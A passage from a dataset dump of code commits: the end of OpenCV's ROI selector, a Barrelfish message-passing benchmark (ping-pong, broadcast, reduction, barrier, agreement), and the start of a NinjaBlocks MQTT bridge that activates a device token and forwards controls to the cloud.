mode\n        selectorParams.drawFromCenter = fromCenter;\n\n        \/\/ show the image and give feedback to user\n        imshow(windowName, img);\n\n        \/\/ copy the data, rectangle should be drawn in the fresh image\n        selectorParams.image = img.clone();\n\n        \/\/ select the object\n        setMouseCallback(windowName, mouseHandler, (void*)this);\n\n        \/\/ end selection process on SPACE (32) ESC (27) or ENTER (13)\n        while (!(key == 32 || key == 27 || key == 13))\n        {\n            \/\/ draw the selected object\n            rectangle(selectorParams.image, selectorParams.box, Scalar(255, 0, 0), 2, 1);\n\n            \/\/ draw cross air in the middle of bounding box\n            if (showCrossair)\n            {\n                \/\/ horizontal line\n                line(selectorParams.image,\n                     Point((int)selectorParams.box.x,\n                           (int)(selectorParams.box.y + selectorParams.box.height \/ 2)),\n                     Point((int)(selectorParams.box.x + selectorParams.box.width),\n                           (int)(selectorParams.box.y + selectorParams.box.height \/ 2)),\n                     Scalar(255, 0, 0), 2, 1);\n\n                \/\/ vertical line\n                line(selectorParams.image,\n                     Point((int)(selectorParams.box.x + selectorParams.box.width \/ 2),\n                           (int)selectorParams.box.y),\n                     Point((int)(selectorParams.box.x + selectorParams.box.width \/ 2),\n                           (int)(selectorParams.box.y + selectorParams.box.height)),\n                     Scalar(255, 0, 0), 2, 1);\n            }\n\n            \/\/ show the image bounding box\n            imshow(windowName, selectorParams.image);\n\n            \/\/ reset the image\n            selectorParams.image = img.clone();\n\n            \/\/ get keyboard event\n            key = waitKey(30);\n\n            if (key == 'c' || key == 'C')\/\/cancel selection\n            {\n                selectorParams.box = Rect();\n                break;\n            }\n        }\n\n        \/\/cleanup callback\n        setMouseCallback(windowName, emptyMouseHandler, NULL);\n\n        return selectorParams.box;\n    }\n\n    void select(const String &windowName, Mat img, std::vector<Rect> &boundingBoxes,\n                bool showCrosshair = true, bool fromCenter = true)\n    {\n        printf(\"Finish the selection process by pressing ESC button!\\n\");\n        boundingBoxes.clear();\n        key = 0;\n\n        \/\/ while key is not ESC (27)\n        for (;;)\n        {\n            Rect temp = select(windowName, img, showCrosshair, fromCenter);\n            if (key == 27)\n                break;\n            if (temp.width > 0 && temp.height > 0)\n                boundingBoxes.push_back(temp);\n        }\n    }\n\n    struct handlerT\n    {\n        \/\/ basic parameters\n        bool isDrawing;\n        Rect2d box;\n        Mat image;\n        Point2f startPos;\n\n        \/\/ parameters for drawing from the center\n        bool drawFromCenter;\n\n        \/\/ initializer list\n        handlerT() : isDrawing(false), drawFromCenter(true){};\n    } selectorParams;\n\n  private:\n    static void emptyMouseHandler(int, int, int, int, void*)\n    {\n    }\n\n    static void mouseHandler(int event, int x, int y, int flags, void *param)\n    {\n        ROISelector *self = static_cast<ROISelector *>(param);\n        self->opencv_mouse_callback(event, x, y, flags);\n    }\n\n    void opencv_mouse_callback(int event, int x, int y, int)\n    {\n        switch (event)\n        {\n        \/\/ update the selected bounding box\n        case EVENT_MOUSEMOVE:\n            if (selectorParams.isDrawing)\n            {\n                if (selectorParams.drawFromCenter)\n                {\n                    \/\/ limit half extends to imageSize\n                    float halfWidth = std::min(std::min(\n                            std::abs(x - selectorParams.startPos.x),\n                            selectorParams.startPos.x),\n                            imageSize.width - selectorParams.startPos.x);\n                    float halfHeight = std::min(std::min(\n                            std::abs(y - selectorParams.startPos.y),\n                            selectorParams.startPos.y),\n                            imageSize.height - selectorParams.startPos.y);\n\n                    selectorParams.box.width = halfWidth * 2;\n                    selectorParams.box.height = halfHeight * 2;\n                    selectorParams.box.x = selectorParams.startPos.x - halfWidth;\n                    selectorParams.box.y = selectorParams.startPos.y - halfHeight;\n\n                }\n                else\n                {\n                    \/\/ limit x and y to imageSize\n                    int lx = std::min(std::max(x, 0), imageSize.width);\n                    int by = std::min(std::max(y, 0), imageSize.height);\n                    selectorParams.box.width = std::abs(lx - selectorParams.startPos.x);\n                    selectorParams.box.height = std::abs(by - selectorParams.startPos.y);\n                    selectorParams.box.x = std::min((float)lx, selectorParams.startPos.x);\n                    selectorParams.box.y = std::min((float)by, selectorParams.startPos.y);\n                }\n            }\n            break;\n\n        \/\/ start to select the bounding box\n        case EVENT_LBUTTONDOWN:\n            selectorParams.isDrawing = true;\n            selectorParams.box = Rect2d(x, y, 0, 0);\n            selectorParams.startPos = Point2f((float)x, (float)y);\n            break;\n\n        \/\/ cleaning up the selected bounding box\n        case EVENT_LBUTTONUP:\n            selectorParams.isDrawing = false;\n            if (selectorParams.box.width < 0)\n            {\n                selectorParams.box.x += selectorParams.box.width;\n                selectorParams.box.width *= -1;\n            }\n            if (selectorParams.box.height < 0)\n            {\n                selectorParams.box.y += selectorParams.box.height;\n                selectorParams.box.height *= -1;\n            }\n            break;\n        }\n    }\n\n    \/\/ save the keypressed character\n    int key;\n    Size imageSize;\n};\n}\n\nRect cv::selectROI(InputArray img, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    return selector.select(\"ROI selector\", img.getMat(), showCrosshair, fromCenter);\n}\n\nRect cv::selectROI(const String& windowName, InputArray img, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    return selector.select(windowName, img.getMat(), showCrosshair, fromCenter);\n}\n\nvoid cv::selectROIs(const String& windowName, InputArray img,\n                             std::vector<Rect>& boundingBox, bool showCrosshair, bool fromCenter)\n{\n    ROISelector selector;\n    selector.select(windowName, img.getMat(), boundingBox, showCrosshair, fromCenter);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n *\/\n#include <stdio.h>\n#include \"sync.h\"\n#include \"topo.h\"\n#include \"mp.h\"\n#include \"measurement_framework.h\"\n#include <pthread.h>\n#include <unistd.h>\n#include <vector>\n\n#include \"model_defs.h\"\n\n\n\/\/#define SEND7\n\n#ifdef BARRELFISH\n#include <barrelfish\/barrelfish.h>\n#include <posixcompat.h>\n#endif\n\n__thread struct sk_measurement m;\n__thread struct sk_measurement m2;\n\nunsigned num_threads;\n#define NUM_RUNS 10000 \/\/50 \/\/ 10000 \/\/ Tested up to 1.000.000\n#define NUM_RESULTS 1000\n\n\npthread_barrier_t ab_barrier;\n\n#define TOPO_NAME(x,y) sprintf(x, \"%s_%s\", y, topo_get_name());\n\n\/**\n * \\brief Message ping-pong between topo_last_node() and get_sequentializer()\n *\/\nextern __thread uint64_t ump_num_acks_sent;\nstatic void* pingpong(void* a)\n{\n    char outname[1024];\n    char outname2[1024];\n\n     coreid_t tid = *((int*) a);\n    __thread_init(tid, num_threads);\n\n    \/\/ Setup buffer for measurements\n    cycles_t *buf = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n    cycles_t *buf2 = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n\n    uintptr_t* v = (uintptr_t*) malloc(sizeof(uintptr_t)*8);\n    v[0] = 0;\n\n    TOPO_NAME(outname, \"pingpong\");\n    TOPO_NAME(outname2, \"pingpong_receive\");\n    sk_m_init(&m, NUM_RESULTS, outname, buf);\n    sk_m_init(&m2, NUM_RESULTS, outname2, buf2);\n\n    if (get_thread_id()==topo_last_node()) {\n\n        mp_binding *b = get_binding(get_sequentializer(), get_thread_id());\n\n        for (unsigned epoch=0; epoch<NUM_RUNS; epoch++) {\n            sk_m_restart_tsc(&m);\n            debug_printff(\"send %d\\n\", epoch);\n#ifdef SEND7\n            mp_send7(get_sequentializer(), epoch, 1, 2, 3, 4,\n             \t     5, 6);\n\n            mp_send7(get_sequentializer(), epoch, 1, 2, 3, 4,\n             \t     5, 6);\n#else\n            mp_send(get_sequentializer(), epoch);\n            mp_send(get_sequentializer(), epoch);\n#endif\n            debug_printff(\"receive %d\\n\", epoch);\n            sk_m_restart_tsc(&m2);\n#ifdef SEND7\n            mp_receive_raw7(b, v);\n            assert(v[0]==epoch);\n            assert(v[1]==1);\n            assert(v[2]==2);\n            assert(v[3]==3);\n            assert(v[4]==4);\n            assert(v[5]==5);\n            assert(v[6]==6);\n\n            mp_receive_raw7(b, v);\n            assert(v[0]==epoch);\n            assert(v[1]==1);\n            assert(v[2]==2);\n            assert(v[3]==3);\n            assert(v[4]==4);\n            assert(v[5]==5);\n            assert(v[6]==6);\n#else\n            if (mp_receive_raw(b) !=epoch) {\n                printf(\"mp_receive_raw(b) != epoch\");\n                exit(1);\n            }\n            if (mp_receive_raw(b) !=epoch) {\n                printf(\"mp_receive_raw(b) != epoch\");\n                exit(1);\n            }\n#endif\n            sk_m_add(&m2);\n            sk_m_add(&m);\n        }\n\n    }\n    if (get_thread_id()==get_sequentializer()) {\n\n        for (unsigned epoch=0; epoch<NUM_RUNS; epoch++) {\n            mp_binding *b = get_binding(topo_last_node(), get_thread_id());\n\n            debug_printff(\"receive %d\\n\", epoch);\n            sk_m_restart_tsc(&m);\n            sk_m_restart_tsc(&m2);\n#ifdef SEND7\n            mp_receive_raw7(b, v);\n            assert(v[0]==epoch);\n            assert(v[1]==1);\n            assert(v[2]==2);\n            assert(v[3]==3);\n            assert(v[4]==4);\n            assert(v[5]==5);\n            assert(v[6]==6);\n\n            mp_receive_raw7(b, v);\n            assert(v[0]==epoch);\n            assert(v[1]==1);\n            assert(v[2]==2);\n            assert(v[3]==3);\n            assert(v[4]==4);\n            assert(v[5]==5);\n            assert(v[6]==6);\n#else\n            if (mp_receive_raw(b) != epoch) {\n                printf(\"mp_receive_raw(b) != epoch\");\n                exit(1);\n            }\n\n            if (mp_receive_raw(b) != epoch) {\n                printf(\"mp_receive_raw(b) != epoch\");\n                exit(1);\n            }\n#endif\n            sk_m_add(&m2);\n\n            debug_printff(\"send %d\\n\", epoch);\n#ifdef SEND7\n            mp_send7(topo_last_node(), epoch,\n                    1,\n                    2,\n                    3,\n                    4,\n                    5,\n                    6);\n            mp_send7(topo_last_node(), epoch,\n                    1,\n                    2,\n                    3,\n                    4,\n                    5,\n                    6);\n#else\n            mp_send(topo_last_node(), epoch);\n            mp_send(topo_last_node(), epoch);\n#endif\n            sk_m_add(&m);\n        }\n    }\n\n\n    if (get_thread_id() == topo_last_node() ||\n        get_thread_id() == get_sequentializer()) {\n\n        sk_m_print(&m);\n        sk_m_print(&m2);\n    }\n\n\n    __thread_end();\n    return NULL;\n}\n\n\/**\n * \\brief Broadcast trigger by topo_last_node() until back to LAST_NODE\n *\/\nstatic void* ab(void* a)\n{\n    char outname[1024];\n\n   coreid_t tid = *((int*) a);\n    __thread_init(tid, num_threads);\n\n    \/\/ Setup buffer for measurements\n    cycles_t *buf = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n    uintptr_t* v = (uintptr_t*) malloc(sizeof(uintptr_t)*8);\n    v[0] = 0;\n\n\n    TOPO_NAME(outname, \"ab\");\n    sk_m_init(&m, NUM_RESULTS, outname, buf);\n\n    std::vector<int> *leafs = topo_all_leaf_nodes()[0];\n\n    for (std::vector<int>::iterator i=leafs->begin(); i!=leafs->end(); ++i) {\n\n        coreid_t last_node = (coreid_t) *i;\n        sk_m_reset(&m);\n\n        for (int epoch=0; epoch<NUM_RUNS; epoch++) {\n\n            sk_m_restart_tsc(&m);\n\n            if (get_thread_id()==last_node) {\n#ifdef SEND7\n                mp_send7(get_sequentializer(), 1, 2, 3, 4, 5, 6, 7);\n#else\n                mp_send(get_sequentializer(), 0);\n#endif\n            }\n\n            if (get_thread_id()==get_sequentializer()) {\n#ifdef SEND7\n\t\t        mp_receive7(last_node, v);\n\t\t        mp_send_ab7(v[0], v[1], v[2], v[3], v[4],\n\t\t\t                v[5], v[6]);\n#else\n                mp_send_ab(mp_receive(last_node));\n#endif\n            }\n            else {\n#ifdef SEND7\n                mp_receive_forward7(v);\n#else\n                mp_receive_forward(0);\n#endif\n            }\n\n            sk_m_add(&m);\n\/*\n            if (get_thread_id() == last_node) {\n                printf(\"Round %d finished \\n\", epoch);\n            }\n*\/\n        }\n\n        if (get_thread_id() == last_node) {\n            sk_m_print(&m);\n        }\n    }\n\n    __thread_end();\n    return NULL;\n}\n\nextern void shl_barrier_shm(int b_count);\n\n\n\/**\n * \\brief\n *\/\nstatic void* reduction(void* a)\n{\n    char outname[1024];\n\n    coreid_t tid = *((int*) a);\n    __thread_init(tid, num_threads);\n\n    \/\/ Setup buffer for measurements\n    cycles_t *buf = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n    uintptr_t* v = (uintptr_t*) malloc(sizeof(uintptr_t)*8);\n\n    TOPO_NAME(outname, \"reduction\");\n    sk_m_init(&m, NUM_RESULTS, outname, buf);\n\n    std::vector<int> *leafs = topo_all_leaf_nodes()[0];\n\n    for (std::vector<int>::iterator i=leafs->begin(); i!=leafs->end(); ++i) {\n\n        coreid_t last_node = (coreid_t) *i;\n        sk_m_reset(&m);\n\n        for (int epoch=0; epoch<NUM_RUNS; epoch++) {\n\n            sk_m_restart_tsc(&m);\n#ifdef SEND7\n            mp_reduce7(v, \n                       1, 1, 1, 1, 1, 1, 1);\n#else\n            mp_reduce(tid);\n#endif\n\n            if (tid==get_sequentializer()) {\n#ifdef SEND7\n                mp_send7(last_node, 0, 1, 2, 3, 4, 5, 6);\n#else\n                mp_send(last_node, 0);\n#endif\n            } else if (tid==last_node) {\n#ifdef SEND7\n                mp_receive7(get_sequentializer(), v);\n#else\n                v[0] = mp_receive(get_sequentializer());\n#endif\n                sk_m_add(&m);\n            }\n        }\n\n        if (get_thread_id() == last_node) {\n            sk_m_print(&m);\n        }\n\n    }\n\n    __thread_end();\n    return NULL;\n}\n\nstatic void* barrier(void* a)\n{\n    \/\/ XXX Perhaps we also want all leaf nodes here?\n\n    char outname[1024];\n\n    coreid_t tid = *((int*) a);\n    __thread_init(tid, num_threads);\n\n    \/\/ Setup buffer for measurements\n    cycles_t *buf = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n\n    TOPO_NAME(outname, \"barriers\");\n    sk_m_init(&m, NUM_RESULTS, outname, buf);\n\n    for (int epoch=0; epoch<NUM_RUNS; epoch++) {\n\n        mp_barrier(NULL);\n\n        if (tid==topo_last_node()) sk_m_add(&m);\n    }\n\n    if (get_thread_id()==get_sequentializer() ||\n        get_thread_id()==topo_last_node()) {\n\n        sk_m_print(&m);\n    }\n\n    __thread_end();\n    return NULL;\n}\n\nstatic void* agreement(void* a)\n{\n    char outname[1024];\n\n    coreid_t tid = *((int*) a);\n    __thread_init(tid, num_threads);\n\n    \/\/ Setup buffer for measurements\n    cycles_t *buf = (cycles_t*) malloc(sizeof(cycles_t)*NUM_RESULTS);\n    uintptr_t* v = (uintptr_t*) malloc(sizeof(uintptr_t)*8);\n    v[0] = 0;\n\n    TOPO_NAME(outname, \"agreement\");\n    sk_m_init(&m, NUM_RESULTS, outname, buf);\n\n    uintptr_t payload = 7;\n\n    std::vector<int> *_leaf_nodes = topo_all_leaf_nodes()[0];\n\n    for (std::vector<int>::iterator i=_leaf_nodes->begin();\n         i!=_leaf_nodes->end(); ++i) {\n\n        coreid_t last_node = (coreid_t) *i;\n        assert (last_node>=0 && last_node<=num_threads);\n\n        sk_m_reset(&m);\n\n        for (int epoch =0; epoch < NUM_RUNS; epoch++) {\n\n            \/*\n             * Phase one of 2PC is a broadcast followed by\n             * a reduction\n             *\/\n            sk_m_restart_tsc(&m);\n\n            \/\/Synchronize\n#ifndef SEND7\n            uintptr_t val = 0;\n#endif\n            if (get_thread_id() == last_node) {\n#ifdef SEND7\n               mp_send7(get_sequentializer(), 0, 0, 0, 0, 0, 0, payload);\n#else\n               mp_send(get_sequentializer(), payload);\n#endif\n            }\n\n            \/\/ broadcast to all\n\n            if (tid == get_sequentializer()) {\n#ifdef SEND7\n                mp_receive7(last_node, v);\n                mp_send_ab7(v[0], v[1], v[2], v[3], v[4], v[5], v[6]);\n#else\n                mp_send_ab(mp_receive(last_node));\n#endif\n            } else {\n#ifdef SEND7\n                mp_receive_forward7(v);\n#else\n                val = mp_receive_forward(0);\n#endif\n            }\n            \/\/ Reduction\n#ifdef SEND7\n            mp_reduce7(v, v[0], v[1], v[2], v[3], v[4], v[5], v[6]);\n#else\n            mp_reduce(val);\n#endif\n\n            \/*\n             * Phase two of 2PC is a broadcast to inform\n             * of the commit\n             *\/\n            \/\/Broadcast to all\n            if (tid == get_sequentializer()) {\n#ifdef SEND7\n                mp_send_ab7(0, 0, 0, 0, 0, 0, payload);\n#else\n                mp_send_ab(val);\n#endif\n            } else {\n#ifdef SEND7\n                mp_receive_forward7(v);\n#else\n                val = mp_receive_forward(0);\n#endif\n            }\n\n            sk_m_add(&m);\n\n        }\n        if (get_thread_id() == last_node) {\n            sk_m_print(&m);\n        }\n    }\n    __thread_end();\n    return NULL;\n}\n\n\n#define NUM_EXP 5\n\n#ifdef BARRELFISH\nstatic void domain_init_done(void *arg, errval_t err)\n{\n    debug_printf(\"SPANNED!\\n\");\n}\n#endif\n\nint main(int argc, char **argv)\n{\n    unsigned nthreads = sysconf(_SC_NPROCESSORS_CONF);\n\n    __sync_init(nthreads, true);\n\n    num_threads = get_num_threads();\n\n    pthread_barrier_init(&ab_barrier, NULL, num_threads);\n\n    typedef void* (worker_func_t)(void*);\n    worker_func_t* workers[NUM_EXP] = {\n        &pingpong,\n        &ab,\n        &reduction,\n        &barrier,\n        &agreement,\n    };\n\n    const char *labels[NUM_EXP] = {\n        \"Ping pong\",\n        \"Atomic broadcast\",\n        \"Reduction\",\n        \"barrier\",\n        \"Agreement\",\n    };\n\n\n\n    pthread_t ptds[num_threads];\n    int tids[num_threads];\n\n\n#ifdef BARRELFISH\n    cpu_set_t *cpuset = CPU_ALLOC(num_threads);\n\n    for (unsigned i=1; i<num_threads; i++) {\n        \/\/for (int i = my_core_id + BOMP_DEFAULT_CORE_STRIDE; i < nos_threads + my_core_id; i++) {\n        coreid_t core = i;\n        errval_t err = domain_new_dispatcher(core, domain_init_done, NULL);\n        if (err_is_fail(err)) {\n            DEBUG_ERR(err, \"failed to span domain\");\n            printf(\"Failed to span domain to %d\\n\", i);\n            assert(err_is_ok(err));\n        }\n    }\n\n#endif\n    for (unsigned e=0; e<(topo_num_topos()); e++) {\n        for (int j=0; j<NUM_EXP; j++) {\n            printf(\"----------------------------------------\\n\");\n            printf(\"Executing experiment %d - %s\\n\", (j+1), labels[j]);\n            printf(\"----------------------------------------\\n\");\n\n#ifdef BARRELFISH\n            thread_yield();\n#else\n            \/\/ Yield to reduce the risk of getting de-scheduled later\n            sched_yield();\n#endif\n            \/\/ Create\n            for (unsigned i=1; i<num_threads; i++) {\n                tids[i] = i;\n\n#ifdef BARRELFISH\n                pthread_attr_t attr;\n                pthread_attr_init(&attr);\n\n                CPU_ZERO(cpuset);\n                CPU_SET(i, cpuset);\n                pthread_attr_setaffinity_np(&attr, sizeof(cpu_set_t), cpuset);\n\n                pthread_create(ptds+i, &attr, workers[j], (void*) (tids+i));\n#else\n                pthread_create(ptds+i, NULL, workers[j], (void*) (tids+i));\n#endif\n            }\n            \/\/ Master thread executes work for node 0\n            tids[0] = 0;\n            workers[j]((void*) (tids+0));\n\n            \/\/ Join\n            for (unsigned i=1; i<num_threads; i++) {\n                pthread_join(ptds[i], NULL);\n            }\n        }\n\n        if( e<topo_num_topos()-1) switch_topo();\n    }\n\n    pthread_barrier_destroy(&ab_barrier);\n\n#ifdef SEND7\n    printf(\"Send7 defined \\n\");\n#endif\n\n#ifdef BARRELFISH\n    debug_printf(\"done!\");\n    while(1)\n        ;\n#endif\n}\n<commit_msg>bench: removed old unused ab-bench<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <cstdio>\n#include <cstring>\n#include <fstream>\n#include <sstream>\n#include <getopt.h>\n#include <memory>\n\n#include \"jsoncpp\/json\/json.h\"\n#include <mosquittopp.h>\n#include <curl\/curl.h>\n\n#include \"common\/utils.h\"\n#include \"common\/mqtt_wrapper.h\"\n#include \"http_helper.h\"\n#include \"cloud_connection.h\"\n#include \"local_connection.h\"\n\nusing namespace std;\n\nTMQTTNinjaBridgeHandler::TMQTTNinjaBridgeHandler(const TMQTTNinjaBridgeHandler::TConfig& mqtt_config)\n    : TMQTTWrapper(mqtt_config)\n    , VarDirectory(\"\/var\/lib\/wirenboard\/\")\n    , Activated(false)\n    , ControlsCache()\n{\n    ReadBlockId();\n    cout << \"Ninja BlockId: \" << BlockId << endl;\n\n\tConnect();\n};\n\n\n\n\nvoid TMQTTNinjaBridgeHandler::ReadBlockId()\n{\n    string serial_fname = VarDirectory + \"serial.conf\";\n    ifstream serial_stream(serial_fname.c_str());\n\n    if (not serial_stream.is_open()) {\n        serial_stream.close();\n        throw TBaseException(\"Cannot read serial from \"  + serial_fname);\n    }\n\n    string wb_serial;\n    serial_stream >> wb_serial;\n\n    if (wb_serial.empty()) {\n        throw TBaseException(\"Empty serial\");\n    }\n\n    BlockId = string(\"Wb\") + StringReplace(wb_serial,\":\",\"\");\n    StringUpper(BlockId);\n}\n\n\nstring TMQTTNinjaBridgeHandler::GetTokenFilename() const\n{\n    return VarDirectory + BlockId + \".token\";\n}\n\n\nbool TMQTTNinjaBridgeHandler::TryReadToken()\n{\n    const string & token_fname = GetTokenFilename();\n    ifstream token_stream(token_fname.c_str());\n\n    if (not token_stream.is_open()){\n        cerr << \"ERROR: Cannot read token from \" << token_fname << endl;\n        token_stream.close();\n        return false;\n    }\n\n    token_stream >> Token;\n    token_stream.close();\n\n    if (not Token.empty()) {\n        return true;\n    }\n\n    return false;\n}\n\nvoid TMQTTNinjaBridgeHandler::WriteToken()\n{\n    const string & token_fname = GetTokenFilename();\n    ofstream token_stream(token_fname.c_str());\n\n    if (not token_stream.is_open()){\n        token_stream.close();\n        throw TBaseException(\"Cannot write token to  \" + token_fname);\n    }\n\n    token_stream << Token;\n    token_stream.close();\n}\n\n\nbool TMQTTNinjaBridgeHandler::TryActivateBlock()\n{\n\n    string url = \"http:\/\/wakai.ninja.is\/rest\/v0\/block\/\";\n    url += BlockId + \"\/activate\";\n\n\tstd::ostringstream oss;\n    CURLcode rc = GetHttpUrl(url, oss, 10);\n\tif(rc == CURLE_OK) {\n\t\tstd::string html = oss.str();\n        cerr << \"DEBUG: got response: \" << html << endl;\n\n        Json::Value root;\n        Json::Reader reader;\n\n        if(!reader.parse(html, root, false))  {\n            cerr << \"ERROR: Failed to parse Ninja activation response\" << endl\n               << reader.getFormatedErrorMessages() << endl;\n            return false;\n        }\n        if (root.isMember(\"token\")) {\n            Token = root[\"token\"].asString();\n            cout << \"Got token: \" << Token << endl;\n            return true;\n        }\n\n    }\n\n    \/\/~ cerr << \"rc: \" << rc << endl;\n    return false;\n}\n\n\n\n\n\nint TMQTTNinjaBridgeHandler::PublishStatus(const string& status)\n{\n    return Publish(NULL, string(\"\/devices\/\") + MQTTConfig.Id + \"\/controls\/status\", status, 0, true);\n}\n\nvoid TMQTTNinjaBridgeHandler::OnConnect(int rc)\n{\n\tprintf(\"Connected with code %d.\\n\", rc);\n\n\tif(rc == 0){\n        string prefix = string(\"\/devices\/\") + MQTTConfig.Id;\n        Publish(NULL, prefix + \"\/meta\/name\", \"NinjaBlocks bridge\", 0, true);\n\n        Publish(NULL, prefix + \"\/controls\/block id\", BlockId, 0, true);\n        Publish(NULL, prefix + \"\/controls\/block id\/meta\/type\", \"text\", 0, true);\n        Publish(NULL, prefix + \"\/controls\/status\/meta\/type\", \"text\", 0, true);\n        PublishStatus(\"Waiting for activation\");\n\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\");\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\/meta\/type\");\n        Subscribe(NULL, \"\/devices\/+\/controls\/+\/meta\/export\");\n\n\t}\n}\n\n\nvoid TMQTTNinjaBridgeHandler::OnCloudConnect(int rc)\n{\n\tprintf(\"Connected to cloud with code %d.\\n\", rc);\n\n\tif(rc == 0) {\n        PublishStatus(\"Connected\");\n\n        \/\/ Send data of all controls known so far\n        for (auto & item : ControlsCache) {\n            SendDeviceDataToCloud(item.second);\n        }\n\n    } else {\n        PublishStatus(\"Connection error \" + to_string(rc));\n    }\n\n}\n\nvoid TMQTTNinjaBridgeHandler::SendDeviceDataToCloud(const TControlDesc& control_desc)\n{\n    \/\/ ...unless exporting was explicitly disabled\n    if (not control_desc.Export) return;\n\n\n    if (NinjaCloudMqttHandler) {\n        NinjaCloudMqttHandler->SendDeviceData(control_desc);\n    }\n}\n\n\nvoid TMQTTNinjaBridgeHandler::WaitForActivation()\n{\n    if (Activated) return;\n\n    if (not TryReadToken()) {\n        cout << \"Waiting for activation...\" << endl;\n\n        while (not TryActivateBlock()) {\n            cerr << \".\";\n        }\n        cerr << endl;\n\n        cout << \"Block is activated!\" << endl;\n        WriteToken();\n    }\n\n    Activated = true;\n\n    cout << \"Block token is \" << Token << endl;\n    PublishStatus(\"Activated\");\n}\n\nvoid TMQTTNinjaBridgeHandler::ConnectToCloud()\n{\n\n    TMQTTWrapper::TConfig ninja_mqtt_config;\n    ninja_mqtt_config.Host = \"mqttbeta.ninjablocks.co\";\n    ninja_mqtt_config.Port = 8883;\n    ninja_mqtt_config.Id =  BlockId;\n\n    NinjaCloudMqttHandler.reset(new TMQTTNinjaCloudHandler(ninja_mqtt_config, this));\n\n    \/\/~ PublishStatus(\"Connected\");\n\n}\n\n\nTControlDesc& TMQTTNinjaBridgeHandler::GetOrAddControlDesc(const string& device_id, const string& control_id)\n{\n    auto key = decltype(ControlsCache)::key_type(device_id, control_id);\n    if (ControlsCache.find(key) == ControlsCache.end()) {\n        \/\/ not found\n        TControlDesc desc;\n        desc.DeviceId = device_id;\n        desc.Id = control_id;\n\n        ControlsCache[key] = desc;\n    }\n\n    return ControlsCache[key];\n\n}\n\nvoid TMQTTNinjaBridgeHandler::OnMessage(const struct mosquitto_message *message)\n{\n    \/\/ ignore zero-length payload\n    if (message->payload == 0) return;\n\n    string topic = message->topic;\n    string payload = static_cast<const char *>(message->payload);\n    const vector<string>& tokens = StringSplit(topic, '\/');\n    bool match;\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\/meta\/type\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n        control.Type = payload;\n    }\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\/meta\/export\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n        control.DeviceId = device_id;\n\n        \/\/ control exporting is enabled by default\n        control.Export = (payload == \"0\") ? false : true;\n    }\n\n\n    if (mosquitto_topic_matches_sub(\"\/devices\/+\/controls\/+\", message->topic, &match) != MOSQ_ERR_SUCCESS) return;\n    if (match) {\n        const string& device_id = tokens[2];\n        const string& control_id = tokens[4];\n\n        if (device_id != MQTTConfig.Id) {\n            TControlDesc & control = GetOrAddControlDesc(device_id, control_id);\n            control.Value = payload;\n            \/\/~ cout << \"upd for \" << control.DeviceId << \":\" << control.Id << \":\" << control.Type << \"=\" << control.Value << endl;\n\n            SendDeviceDataToCloud(control);\n        }\n    }\n}\n\n\nvoid TMQTTNinjaBridgeHandler::OnCloudControlUpdate(const string& device_id, const string& control_id, const string& value)\n{\n    auto iter = ControlsCache.find(make_pair(device_id, control_id));\n\n    if (iter != ControlsCache.end()) {\n        TControlDesc & control = iter->second;\n        control.Value = value;\n\n        Publish(NULL, \"\/devices\/\" + control.DeviceId + \"\/controls\/\" + control.Id + \"\/on\", control.Value);\n    }\n}\n\n\n\nvoid TMQTTNinjaBridgeHandler::OnSubscribe(int mid, int qos_count, const int *granted_qos)\n{\n}\n\n\/\/~ string TMQTTNinjaBridgeHandler::GetChannelTopic(const TSysfsOnewireDevice& device) {\n    \/\/~ static string controls_prefix = string(\"\/devices\/\") + MQTTConfig.Id + \"\/controls\/\";\n    \/\/~ return (controls_prefix + device.GetDeviceId());\n\/\/~ }\n\n\/\/~ void TMQTTNinjaBridgeHandler::UpdateChannelValues() {\n\/\/~\n    \/\/~ for (const TSysfsOnewireDevice& device: Channels) {\n        \/\/~ auto result = device.ReadTemperature();\n        \/\/~ if (result.Defined()) {\n            \/\/~ Publish(NULL, GetChannelTopic(device), to_string(*result), 0, true); \/\/ Publish current value (make retained)\n            \/\/~ Publish(NULL, GetChannelTopic(device) + \"\/meta\/type\", \"text\", 0, true);\n        \/\/~ }\n\/\/~\n    \/\/~ }\n\/\/~ }\n\n\n\n\n\/\/~\n\n\n<commit_msg>move to System room<commit_after>#include <iostream>\n#include <cstdio>\n#include <cstring>\n#include <fstream>\n#include <sstream>\n#include <getopt.h>\n#include <memory>\n\n#include \"jsoncpp\/json\/json.h\"\n#include <mosquittopp.h>\n#include <curl\/curl.h>\n\n#include \"common\/utils.h\"\n#include \"common\/mqtt_wrapper.h\"\n#include \"http_helper.h\"\n#include \"cloud_connection.h\"\n#include \"local_connection.h\"\n\nusing namespace std;\n\nTMQTTNinjaBridgeHandler::TMQTTNinjaBridgeHandler(const TMQTTNinjaBridgeHandler::TConfig& mqtt_config)\n    : TMQTTWrapper(mqtt_config)\n    , VarDirectory(\"\/var\/lib\/wirenboard\/\")\n    , Activated(false)\n    , ControlsCache()\n{\n    ReadBlockId();\n    cout << \"Ninja BlockId: \" << BlockId << endl;\n\n\tConnect();\n};\n\n\n\n\nvoid TMQTTNinjaBridgeHandler::ReadBlockId()\n{\n    string serial_fname = VarDirectory + \"serial.conf\";\n    ifstream serial_stream(serial_fname.c_str());\n\n    if (not serial_stream.is_open()) {\n        serial_stream.close();\n        throw TBaseException(\"Cannot read serial from \"  + serial_fname);\n    }\n\n    string wb_serial;\n    serial_stream >> wb_serial;\n\n    if (wb_serial.empty()) {\n        throw TBaseException(\"Empty serial\");\n    